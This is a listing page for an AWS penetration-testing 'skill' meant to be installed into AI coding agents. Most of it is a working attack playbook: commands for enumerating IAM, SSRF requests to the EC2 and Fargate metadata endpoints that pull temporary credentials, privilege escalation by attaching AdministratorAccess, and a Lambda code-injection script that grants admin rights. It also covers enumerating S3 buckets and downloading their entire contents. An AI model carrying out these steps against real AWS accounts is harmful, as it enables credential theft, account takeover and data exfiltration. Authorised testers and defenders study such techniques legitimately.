academic-paper-reviewe…
Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor…
This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security
Claude Code
$ npx -y skills add zebbern/claude-code-guide --skill aws-penetration-testing --agent claude-code
Codex
$ npx skills add zebbern/claude-code-guide --skill aws-penetration-testing -a codex -y
Cursor
$ npx skills add zebbern/claude-code-guide --skill aws-penetration-testing -a cursor -y
Gemini CLI
$ npx skills add zebbern/claude-code-guide --skill aws-penetration-testing -a gemini-cli -y
GitHub Copilot
$ npx skills add zebbern/claude-code-guide --skill aws-penetration-testing -a github-copilot -y
OpenCode
$ npx skills add zebbern/claude-code-guide --skill aws-penetration-testing -a opencode -y
Windsurf
$ npx skills add zebbern/claude-code-guide --skill aws-penetration-testing -a windsurf -y
name: aws-penetration-testing description: This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment. metadata: author: zebbern version: "1.1"
Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
---
| Tool | Purpose | Installation | |------|---------|--------------| | Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` | | SkyArk | Shadow Admin discovery | `Import-Module .\SkyArk.ps1` | | Prowler | Security auditing | `pip install prowler` | | ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` | | enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` | | Principal Mapper | IAM analysis | `pip install principalmapper` |
---
Identify the compromised identity and permissions:
# Check current identity aws sts get-caller-identity # Configure profile aws configure --profile compromised # List access keys aws iam list-access-keys # Enumerate permissions ./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
# List all users aws iam list-users # List groups for user aws iam list-groups-for-user --user-name TARGET_USER # List attached policies aws iam list-attached-user-policies --user-name TARGET_USER # List inline policies aws iam list-user-policies --user-name TARGET_USER # Get policy details aws iam get-policy --policy-arn POLICY_ARN aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1 # List roles aws iam list-roles aws iam list-attached-role-policies --role-name ROLE_NAME
Exploit SSRF to access metadata endpoint (IMDSv1):
# Access metadata endpoint
http://169.254.169.254/latest/meta-data/
# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}**For IMDSv2 (token required):**
# Get token first TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ "http://169.254.169.254/latest/api/token") # Use token for requests curl -H "X-aws-ec2-metadata-token:$TOKEN" \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
**Fargate Container Credentials:**
# Read environment for credential path /proc/self/environ # Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/... # Access credentials http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
---
These permissions are equivalent to administrator:
| Permission | Exploitation | |------------|--------------| | `iam:CreateAccessKey` | Create keys for admin user | | `iam:CreateLoginProfile` | Set password for any user | | `iam:AttachUserPolicy` | Attach admin policy to self | | `iam:PutUserPolicy` | Add inline admin policy | | `iam:AddUserToGroup` | Add self to admin group | | `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role | | `lambda:UpdateFunctionCode` | Inject code into Lambda |
aws iam create-access-key --user-name target_user
aws iam attach-user-policy --user-name my_username \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam put-user-policy --user-name my_username \ --policy-name admin_policy \ --policy-document file://admin-policy.json
# code.py - Inject into Lambda function
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response# Update Lambda code aws lambda update-function-code --function-name target_function \ --zip-file fileb://malicious.zip
---
# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt
# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}# List buckets (with creds) aws s3 ls # List bucket contents aws s3 ls s3://bucket-name --recursive # Download all files aws s3 sync s3://bucket-name ./local-folder
https://buckets.grayhatwarfare.com/
---
# List Lambda functions aws lambda list-functions # Get function code aws lambda get-function --function-name FUNCTION_NAME # Download URL provided in response # Invoke function aws lambda invoke --function-name FUNCTION_NAME output.txt
---
Systems Manager allows command execution on EC2 instances
Claude Code Guide - Setup, Commands, workflows, agents, skills & tips-n-tricks from beginner to power user!
Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor…
This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync",…
This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API",…
Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an…
Interactive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export. Use for…
Authentication patterns: session vs JWT vs OAuth comparison, provider selection (NextAuth, Clerk, Supabase Auth), security…
How to work in a Codebase Wiki project (the `codebase-wiki` starter pack): an agent-authored, source-grounded wiki of the…
Push architecture docs to oh-my-mermaid cloud. Handles login, link, and push workflow with error guidance. Use when the user says…